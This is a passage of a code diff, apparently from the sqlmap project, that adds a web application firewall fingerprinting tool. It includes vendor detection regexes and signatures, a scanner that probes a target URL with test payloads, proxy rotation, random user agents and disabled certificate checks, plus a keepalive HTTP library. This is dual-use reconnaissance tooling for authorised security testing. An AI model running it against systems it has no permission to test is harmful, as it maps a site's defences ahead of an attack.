https://www.imperva.com/resources/case_studies/CS_Armor.pdf)" + }, + "asm": { + "company": "F5 Networks", + "name": "Application Security Manager", + "regex": "The requested URL was rejected\\. Please consult with your administrator|security\\.f5aas\\.com", + "signatures": [ + "2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC", + "4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC", + "8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC", + "540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC", + "c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC", + "b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC", + "3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC", + "620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC", + "ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC", + "9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC" + ] + }, + "astra": { + "company": "Czar Securities", + "name": "Astra", + "regex": "(?s)unfortunately our website protection system.+?//www\\.getastra\\.com", + "signatures": [] + }, + "aws": { + "company": "Amazon", + "name": "AWS WAF", + "regex": "(?i)HTTP/1.+\\b403\\b.+\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront", + "signatures": [ + "2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "barracuda": { + "company": "Barracuda Networks", + "name": "Barracuda", + "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page|||<[^>]+>|\s+", " ", retval[HTML]) + match = re.search(r"(?im)^Server: (.+)", retval[RAW]) + retval[SERVER] = match.group(1).strip() if match else "" + return retval + +def calc_hash(value, binary=True): + value = value.encode("utf8") if not isinstance(value, bytes) else value + result = zlib.crc32(value) & 0xffff + if binary: + result = struct.pack(">H", result) + return result + +def single_print(message): + if message not in seen: + print(message) + seen.add(message) + +def check_payload(payload, protection_regex=GENERIC_PROTECTION_REGEX % '|'.join(GENERIC_PROTECTION_KEYWORDS)): + global chained + global heuristic + global intrusive + global locked_code + global locked_regex + + time.sleep(options.delay or 0) + if options.post: + _ = "%s=%s" % ("".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(options.url, _) + else: + _ = "%s%s%s=%s" % (options.url, '?' if '?' not in options.url else '&', "".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(_) + + if options.lock and not payload.isdigit(): + if payload == HEURISTIC_PAYLOAD: + match = re.search(re.sub(r"Server:|Protected by", "".join(random.sample(string.ascii_letters, 6)), WAF_RECOGNITION_REGEX, flags=re.I), intrusive[RAW] or "") + if match: + result = True + + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + locked_regex = DATA_JSON["wafs"][waf]["regex"] + locked_code = intrusive[HTTPCODE] + break + else: + result = False + + if not result: + exit(colorize("[x] can't lock results to a non-blind match")) + else: + result = re.search(locked_regex, intrusive[RAW]) is not None and locked_code == intrusive[HTTPCODE] + elif options.string: + result = options.string in (intrusive[RAW] or "") + elif options.code: + result = options.code == intrusive[HTTPCODE] + else: + result = intrusive[HTTPCODE] != original[HTTPCODE] or (intrusive[HTTPCODE] != 200 and intrusive[TITLE] != original[TITLE]) or (re.search(protection_regex, intrusive[HTML]) is not None and re.search(protection_regex, original[HTML]) is None) or (difflib.SequenceMatcher(a=original[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD) + + if not payload.isdigit(): + if result: + if options.debug: + print("\r---%s" % (40 * ' ')) + print(payload) + print(intrusive[HTTPCODE], intrusive[RAW]) + print("---") + + if intrusive[SERVER]: + servers.add(re.sub(r"\s*\(.+\)\Z", "", intrusive[SERVER])) + if len(servers) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP 'Server' headers detected (%s)" % ', '.join("'%s'" % _ for _ in sorted(servers)))) + + if intrusive[HTTPCODE]: + codes.add(intrusive[HTTPCODE]) + if len(codes) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP codes detected (%s)" % ', '.join("%s" % _ for _ in sorted(codes)))) + + if heuristic and heuristic[HTML] and intrusive[HTML] and difflib.SequenceMatcher(a=heuristic[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTML responses detected")) + + if payload == HEURISTIC_PAYLOAD: + heuristic = intrusive + + return result + +def colorize(message): + if COLORIZE: + message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) + + if any(_ in message for _ in ("rejected summary", "challenge detected")): + for match in re.finditer(r"[^\w]'([^)]+)'" if "rejected summary" in message else r"\('(.+)'\)", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + + if "blind match" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (92 if int(match.group(2)) >= 95 else (93 if int(match.group(2)) > 80 else 90), match.group(1))) + + if "hardness" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (95 if " insane " in message else (91 if " hard " in message else (93 if " moderate " in message else 92)), match.group(1))) + + return message + +def parse_args(): + global options + + parser = optparse.OptionParser(version=VERSION) + parser.add_option("--delay", dest="delay", type=int, help="Delay (sec) between tests (default: 0)") + parser.add_option("--timeout", dest="timeout", type=int, help="Response timeout (sec) (default: 10)") + parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") + parser.add_option("--proxy-file", dest="proxy_file", help="Load (rotating) HTTP(s) proxy list from a file") + parser.add_option("--random-agent", dest="random_agent", action="store_true", help="Use random HTTP User-Agent header value") + parser.add_option("--code", dest="code", type=int, help="Expected HTTP code in rejected responses") + parser.add_option("--string", dest="string", help="Expected string in rejected responses") + parser.add_option("--post", dest="post", action="store_true", help="Use POST body for sending payloads") + parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--fast", dest="fast", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--lock", dest="lock", action="store_true", help=optparse.SUPPRESS_HELP) + + # Dirty hack(s) for help message + def _(self, *args): + retval = parser.formatter._format_option_strings(*args) + if len(retval) > MAX_HELP_OPTION_LENGTH: + retval = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retval + return retval + + parser.usage = "python %s " % parser.usage + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + + for _ in ("-h", "--version"): + option = parser.get_option(_) + option.help = option.help.capitalize() + + try: + options, _ = parser.parse_args() + except SystemExit: + raise + + if len(sys.argv) > 1: + url = sys.argv[-1] + if not url.startswith("http"): + url = "http://%s" % url + options.url = url + else: + parser.print_help() + raise SystemExit + + for key in DEFAULTS: + if getattr(options, key, None) is None: + setattr(options, key, DEFAULTS[key]) + +def load_data(): + global WAF_RECOGNITION_REGEX + + if os.path.isfile(DATA_JSON_FILE): + with open(DATA_JSON_FILE, "r") as f: + DATA_JSON.update(json.load(f)) + + WAF_RECOGNITION_REGEX = "" + for waf in DATA_JSON["wafs"]: + if DATA_JSON["wafs"][waf]["regex"]: + WAF_RECOGNITION_REGEX += "%s|" % ("(?P%s)" % (waf, DATA_JSON["wafs"][waf]["regex"])) + for signature in DATA_JSON["wafs"][waf]["signatures"]: + SIGNATURES[signature] = waf + WAF_RECOGNITION_REGEX = WAF_RECOGNITION_REGEX.strip('|') + + flags = "".join(set(_ for _ in "".join(re.findall(r"\(\?(\w+)\)", WAF_RECOGNITION_REGEX)))) + WAF_RECOGNITION_REGEX = "(?%s)%s" % (flags, re.sub(r"\(\?\w+\)", "", WAF_RECOGNITION_REGEX)) # patch for "DeprecationWarning: Flags not at the start of the expression" in Python3.7 + else: + exit(colorize("[x] file '%s' is missing" % DATA_JSON_FILE)) + +def init(): + os.chdir(os.path.abspath(os.path.dirname(__file__))) + + # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html + if not PY3 and not IS_TTY: + sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) + + print(colorize("[o] initializing handlers...")) + + # Reference: https://stackoverflow.com/a/28052583 + if hasattr(ssl, "_create_unverified_context"): + ssl._create_default_https_context = ssl._create_unverified_context + + if options.proxy_file: + if os.path.isfile(options.proxy_file): + print(colorize("[o] loading proxy list...")) + + with open(options.proxy_file, "r") as f: + proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) + random.shuffle(proxies) + else: + exit(colorize("[x] file '%s' does not exist" % options.proxy_file)) + + + cookie_jar = CookieJar() + opener = build_opener(HTTPCookieProcessor(cookie_jar)) + install_opener(opener) + + if options.proxy: + opener = build_opener(ProxyHandler({"http": options.proxy, "https": options.proxy})) + install_opener(opener) + + if options.random_agent: + revision = random.randint(20, 64) + platform = random.sample(("X11; %s %s" % (random.sample(("Linux", "Ubuntu; Linux", "U; Linux", "U; OpenBSD", "U; FreeBSD"), 1)[0], random.sample(("amd64", "i586", "i686", "amd64"), 1)[0]), "Windows NT %s%s" % (random.sample(("5.0", "5.1", "5.2", "6.0", "6.1", "6.2", "6.3", "10.0"), 1)[0], random.sample(("", "; Win64", "; WOW64"), 1)[0]), "Macintosh; Intel Mac OS X 10.%s" % random.randint(1, 11)), 1)[0] + user_agent = "Mozilla/5.0 (%s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (platform, revision, revision) + HEADERS["User-Agent"] = user_agent + +def format_name(waf): + return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") + +def non_blind_check(raw, silent=False): + retval = False + match = re.search(WAF_RECOGNITION_REGEX, raw or "") + if match: + retval = True + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + non_blind.add(waf) + if not silent: + single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) + return retval + +def run(): + global original + + hostname = options.url.split("//")[-1].split('/')[0].split(':')[0] + + if not hostname.replace('.', "").isdigit(): + print(colorize("[i] checking hostname '%s'..." % hostname)) + try: + socket.getaddrinfo(hostname, None) + except socket.gaierror: + exit(colorize("[x] host '%s' does not exist" % hostname)) + + results = "" + signature = b"" + counter = 0 + original = retrieve(options.url) + + if 300 <= (original[HTTPCODE] or 0) < 400 and original[URL]: + original = retrieve(original[URL]) + + options.url = original[URL] + + if original[HTTPCODE] is None: + exit(colorize("[x] missing valid response")) + + if not any((options.string, options.code)) and original[HTTPCODE] >= 400: + non_blind_check(original[RAW]) + if options.debug: + print("\r---%s" % (40 * ' ')) + print(original[HTTPCODE], original[RAW]) + print("---") + exit(colorize("[x] access to host '%s' seems to be restricted%s" % (hostname, (" (%d: '%s')" % (original[HTTPCODE], original[TITLE].strip())) if original[TITLE] else ""))) + + challenge = None + if all(_ in original[HTML].lower() for _ in ("eval", "]*>(.*)", re.sub(r"(?is)", "", original[HTML])) + if re.search(r"(?i)<(body|div)", original[HTML]) is None or (match and len(match.group(1)) == 0): + challenge = re.search(r"(?is)", original[HTML]).group(0).replace("\n", "\\n") + print(colorize("[x] anti-robot JS challenge detected ('%s%s')" % (challenge[:MAX_JS_CHALLENGE_SNAPLEN], "..." if len(challenge) > MAX_JS_CHALLENGE_SNAPLEN else ""))) + + protection_keywords = GENERIC_PROTECTION_KEYWORDS + protection_regex = GENERIC_PROTECTION_REGEX % '|'.join(keyword for keyword in protection_keywords if keyword not in original[HTML].lower()) + + print(colorize("[i] running basic heuristic test...")) + if not check_payload(HEURISTIC_PAYLOAD): + check = False + if options.url.startswith("https://"): + options.url = options.url.replace("https://", "http://") + check = check_payload(HEURISTIC_PAYLOAD) + if not check: + if non_blind_check(intrusive[RAW]): + exit(colorize("[x] unable to continue due to static responses%s" % (" (captcha)" if re.search(r"(?i)captcha", intrusive[RAW]) is not None else ""))) + elif challenge is None: + exit(colorize("[x] host '%s' does not seem to be protected" % hostname)) + else: + exit(colorize("[x] response not changing without JS challenge solved")) + + if options.fast and not non_blind: + exit(colorize("[x] fast exit because of missing non-blind match")) + + if not intrusive[HTTPCODE]: + print(colorize("[i] rejected summary: RST|DROP")) + else: + _ = "...".join(match.group(0) for match in re.finditer(GENERIC_ERROR_MESSAGE_REGEX, intrusive[HTML])).strip().replace(" ", " ") + print(colorize(("[i] rejected summary: %d ('%s%s')" % (intrusive[HTTPCODE], ("%s" % intrusive[TITLE]) if intrusive[TITLE] else "", "" if not _ or intrusive[HTTPCODE] < 400 else ("...%s" % _))).replace(" ('')", ""))) + + found = non_blind_check(intrusive[RAW] if intrusive[HTTPCODE] is not None else original[RAW]) + + if not found: + print(colorize("[-] non-blind match: -")) + + for item in DATA_JSON["payloads"]: + info, payload = item.split("::", 1) + counter += 1 + + if IS_TTY: + sys.stdout.write(colorize("\r[i] running payload tests... (%d/%d)\r" % (counter, len(DATA_JSON["payloads"])))) + sys.stdout.flush() + + if counter % VERIFY_OK_INTERVAL == 0: + for i in xrange(VERIFY_RETRY_TIMES): + if not check_payload(str(random.randint(1, 9)), protection_regex): + break + elif i == VERIFY_RETRY_TIMES - 1: + exit(colorize("[x] host '%s' seems to be misconfigured or rejecting benign requests%s" % (hostname, (" (%d: '%s')" % (intrusive[HTTPCODE], intrusive[TITLE].strip())) if intrusive[TITLE] else ""))) + else: + time.sleep(5) + + last = check_payload(payload, protection_regex) + non_blind_check(intrusive[RAW]) + signature += struct.pack(">H", ((calc_hash(payload, binary=False) << 1) | last) & 0xffff) + results += 'x' if last else '.' + + if last and info not in blocked: + blocked.append(info) + + _ = calc_hash(signature) + signature = "%s:%s" % (_.encode("hex") if not hasattr(_, "hex") else _.hex(), base64.b64encode(signature).decode("ascii")) + + print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) + + hardness = 100 * results.count('x') // len(results) + print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) + + if blocked: + print(colorize("[=] blocked categories: %s" % ", ".join(blocked))) + + if not results.strip('.') or not results.strip('x'): + print(colorize("[-] blind match: -")) + + if re.search(r"(?i)captcha", original[HTML]) is not None: + exit(colorize("[x] there seems to be an activated captcha")) + else: + print(colorize("[=] signature: '%s'" % signature)) + + if signature in SIGNATURES: + waf = SIGNATURES[signature] + print(colorize("[+] blind match: '%s' (100%%)" % format_name(waf))) + elif results.count('x') < MIN_MATCH_PARTIAL: + print(colorize("[-] blind match: -")) + else: + matches = {} + markers = set() + decoded = base64.b64decode(signature.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + markers.add(part) + + for candidate in SIGNATURES: + counter_y, counter_n = 0, 0 + decoded = base64.b64decode(candidate.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + if part in markers: + counter_y += 1 + elif any(_ in markers for _ in (part & ~1, part | 1)): + counter_n += 1 + result = int(round(100.0 * counter_y / (counter_y + counter_n))) + if SIGNATURES[candidate] in matches: + if result > matches[SIGNATURES[candidate]]: + matches[SIGNATURES[candidate]] = result + else: + matches[SIGNATURES[candidate]] = result + + if chained: + for _ in list(matches.keys()): + if matches[_] < 90: + del matches[_] + + if not matches: + print(colorize("[-] blind match: - ")) + print(colorize("[!] probably chained web protection systems")) + else: + matches = [(_[1], _[0]) for _ in matches.items()] + matches.sort(reverse=True) + + print(colorize("[+] blind match: %s" % ", ".join("'%s' (%d%%)" % (format_name(matches[i][1]), matches[i][0]) for i in xrange(min(len(matches), MAX_MATCHES) if matches[0][0] != 100 else 1)))) + + print() + +def main(): + if "--version" not in sys.argv: + print(BANNER) + + parse_args() + init() + run() + +load_data() + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + exit(colorize("\r[x] Ctrl-C pressed")) diff --git a/extra/keepalive/__init__.py b/thirdparty/keepalive/__init__.py old mode 100755 new mode 100644 similarity index 100% rename from extra/keepalive/__init__.py rename to thirdparty/keepalive/__init__.py diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py new file mode 100644 index 00000000000..2dda424e685 --- /dev/null +++ b/thirdparty/keepalive/keepalive.py @@ -0,0 +1,649 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the +# Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, +# Boston, MA 02111-1307 USA + +# This file was part of urlgrabber, a high-level cross-protocol url-grabber +# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko +# Copyright 2015 Sergio Fernández + +"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. + +>>> import urllib2 +>>> from keepalive import HTTPHandler +>>> keepalive_handler = HTTPHandler() +>>> opener = _urllib.request.build_opener(keepalive_handler) +>>> _urllib.request.install_opener(opener) +>>> +>>> fo = _urllib.request.urlopen('http://www.python.org') + +If a connection to a given host is requested, and all of the existing +connections are still in use, another connection will be opened. If +the handler tries to use an existing connection but it fails in some +way, it will be closed and removed from the pool. + +To remove the handler, simply re-run build_opener with no arguments, and +install that opener. + +You can explicitly close connections by using the close_connection() +method of the returned file-like object (described below) or you can +use the handler methods: + + close_connection(host) + close_all() + open_connections() + +NOTE: using the close_connection and close_all methods of the handler +should be done with care when using multiple threads. + * there is nothing that prevents another thread from creating new + connections immediately after connections are closed + * no checks are done to prevent in-use connections from being closed + +>>> keepalive_handler.close_all() + +EXTRA ATTRIBUTES AND METHODS + + Upon a status of 200, the object returned has a few additional + attributes and methods, which should not be used if you want to + remain consistent with the normal urllib2-returned objects: + + close_connection() - close the connection to the host + readlines() - you know, readlines() + status - the return status (ie 404) + reason - english translation of status (ie 'File not found') + + If you want the best of both worlds, use this inside an + AttributeError-catching try: + + >>> try: status = fo.status + >>> except AttributeError: status = None + + Unfortunately, these are ONLY there if status == 200, so it's not + easy to distinguish between non-200 responses. The reason is that + urllib2 tries to do clever things with error codes 301, 302, 401, + and 407, and it wraps the object upon return. + + For python versions earlier than 2.4, you can avoid this fancy error + handling by setting the module-level global HANDLE_ERRORS to zero. + You see, prior to 2.4, it's the HTTP Handler's job to determine what + to handle specially, and what to just pass up. HANDLE_ERRORS == 0 + means "pass everything up". In python 2.4, however, this job no + longer belongs to the HTTP Handler and is now done by a NEW handler, + HTTPErrorProcessor. Here's the bottom line: + + python version < 2.4 + HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as + errors + HANDLE_ERRORS == 0 pass everything up, error processing is + left to the calling code + python version >= 2.4 + HANDLE_ERRORS == 1 pass up 200, treat the rest as errors + HANDLE_ERRORS == 0 (default) pass everything up, let the + other handlers (specifically, + HTTPErrorProcessor) decide what to do + + In practice, setting the variable either way makes little difference + in python 2.4, so for the most consistent behavior across versions, + you probably just want to use the defaults, which will give you + exceptions on errors. + +""" + +from __future__ import print_function + +try: + from thirdparty.six.moves import http_client as _http_client + from thirdparty.six.moves import range as _range + from thirdparty.six.moves import urllib as _urllib +except ImportError: + from six.moves import http_client as _http_client + from six.moves import range as _range + from six.moves import urllib as _urllib + +import socket +import threading + +DEBUG = None + +import sys +if sys.version_info < (2, 4): HANDLE_ERRORS = 1 +else: HANDLE_ERRORS = 0 + +class ConnectionManager: + """ + The connection manager must be able to: + * keep track of all existing + """ + def __init__(self): + self._lock = threading.Lock() + self._hostmap = {} # map hosts to a list of connections + self._connmap = {} # map connections to host + self._readymap = {} # map connection to ready state + + def add(self, host, connection, ready): + self._lock.acquire() + try: + if host not in self._hostmap: self._hostmap[host] = [] + self._hostmap[host].append(connection) + self._connmap[connection] = host + self._readymap[connection] = ready + finally: + self._lock.release() + + def remove(self, connection): + self._lock.acquire() + try: + try: + host = self._connmap[connection] + except KeyError: + pass + else: + del self._connmap[connection] + del self._readymap[connection] + self._hostmap[host].remove(connection) + if not self._hostmap[host]: del self._hostmap[host] + finally: + self._lock.release() + + def set_ready(self, connection, ready): + try: self._readymap[connection] = ready + except KeyError: pass + + def get_ready_conn(self, host): + conn = None + try: + self._lock.acquire() + if host in self._hostmap: + for c in self._hostmap[host]: + if self._readymap.get(c): + self._readymap[c] = 0 + conn = c + break + finally: + self._lock.release() + return conn + + def get_all(self, host=None): + if host: + return list(self._hostmap.get(host, [])) + else: + return dict(self._hostmap) + +class KeepAliveHandler: + def __init__(self): + self._cm = ConnectionManager() + + #### Connection Management + def open_connections(self): + """return a list of connected hosts and the number of connections + to each. [('foo.com:80', 2), ('bar.org', 1)]""" + return [(host, len(li)) for (host, li) in self._cm.get_all().items()] + + def close_connection(self, host): + """close connection(s) to + host is the host:port spec, as in 'www.cnn.com:8080' as passed in. + no error occurs if there is no connection to that host.""" + for h in self._cm.get_all(host): + self._cm.remove(h) + h.close() + + def close_all(self): + """close all open connections""" + for host, conns in self._cm.get_all().items(): + for h in conns: + self._cm.remove(h) + h.close() + + def _request_closed(self, request, host, connection): + """tells us that this request is now closed and the the + connection is ready for another request""" + self._cm.set_ready(connection, 1) + + def _remove_connection(self, host, connection, close=0): + if close: connection.close() + self._cm.remove(connection) + + #### Transaction Execution + def do_open(self, req): + host = req.host + if not host: + raise _urllib.error.URLError('no host given') + + try: + h = self._cm.get_ready_conn(host) + while h: + r = self._reuse_connection(h, req, host) + + # if this response is non-None, then it worked and we're + # done. Break out, skipping the else block. + if r: break + + # connection is bad - possibly closed by server + # discard it and ask for the next free connection + h.close() + self._cm.remove(h) + h = self._cm.get_ready_conn(host) + else: + # no (working) free connections were found. Create a new one. + h = self._get_connection(host) + if DEBUG: DEBUG.info("creating new connection to %s (%d)", + host, id(h)) + self._cm.add(host, h, 0) + self._start_transaction(h, req) + r = h.getresponse() + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) + + if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) + + # if not a persistent connection, don't try to reuse it + if r.will_close: + if DEBUG: DEBUG.info('server will close connection, discarding') + self._cm.remove(h) + + r._handler = self + r._host = host + r._url = req.get_full_url() + r._connection = h + r.code = r.status + r.headers = r.msg + r.msg = r.reason + + if r.status == 200 or not HANDLE_ERRORS: + return r + else: + return self.parent.error('http', req, r, + r.status, r.msg, r.headers) + + def _reuse_connection(self, h, req, host): + """start the transaction with a re-used connection + return a response object (r) upon success or None on failure. + This DOES not close or remove bad connections in cases where + it returns. However, if an unexpected exception occurs, it + will close and remove the connection before re-raising. + """ + try: + self._start_transaction(h, req) + r = h.getresponse() + # note: just because we got something back doesn't mean it + # worked. We'll check the version below, too. + except (socket.error, _http_client.HTTPException): + r = None + except: + # adding this block just in case we've missed + # something we will still raise the exception, but + # lets try and close the connection and remove it + # first. We previously got into a nasty loop + # where an exception was uncaught, and so the + # connection stayed open. On the next try, the + # same exception was raised, etc. The tradeoff is + # that it's now possible this call will raise + # a DIFFERENT exception + if DEBUG: DEBUG.error("unexpected exception - closing " + \ + "connection to %s (%d)", host, id(h)) + self._cm.remove(h) + h.close() + raise + + if r is None or r.version == 9: + # httplib falls back to assuming HTTP 0.9 if it gets a + # bad header back. This is most likely to happen if + # the socket has been closed by the server since we + # last used the connection. + if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)", + host, id(h)) + r = None + else: + if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h)) + + return r + + def _start_transaction(self, h, req): + try: + if req.data: + data = req.data + if hasattr(req, 'selector'): + h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + else: + h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + if 'Content-type' not in req.headers: + h.putheader('Content-type', + 'application/x-www-form-urlencoded') + if 'Content-length' not in req.headers: + h.putheader('Content-length', '%d' % len(data)) + else: + if hasattr(req, 'selector'): + h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + else: + h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) + + if 'Connection' not in req.headers: + req.headers['Connection'] = 'keep-alive' + + for args in self.parent.addheaders: + if args[0] not in req.headers: + h.putheader(*args) + for 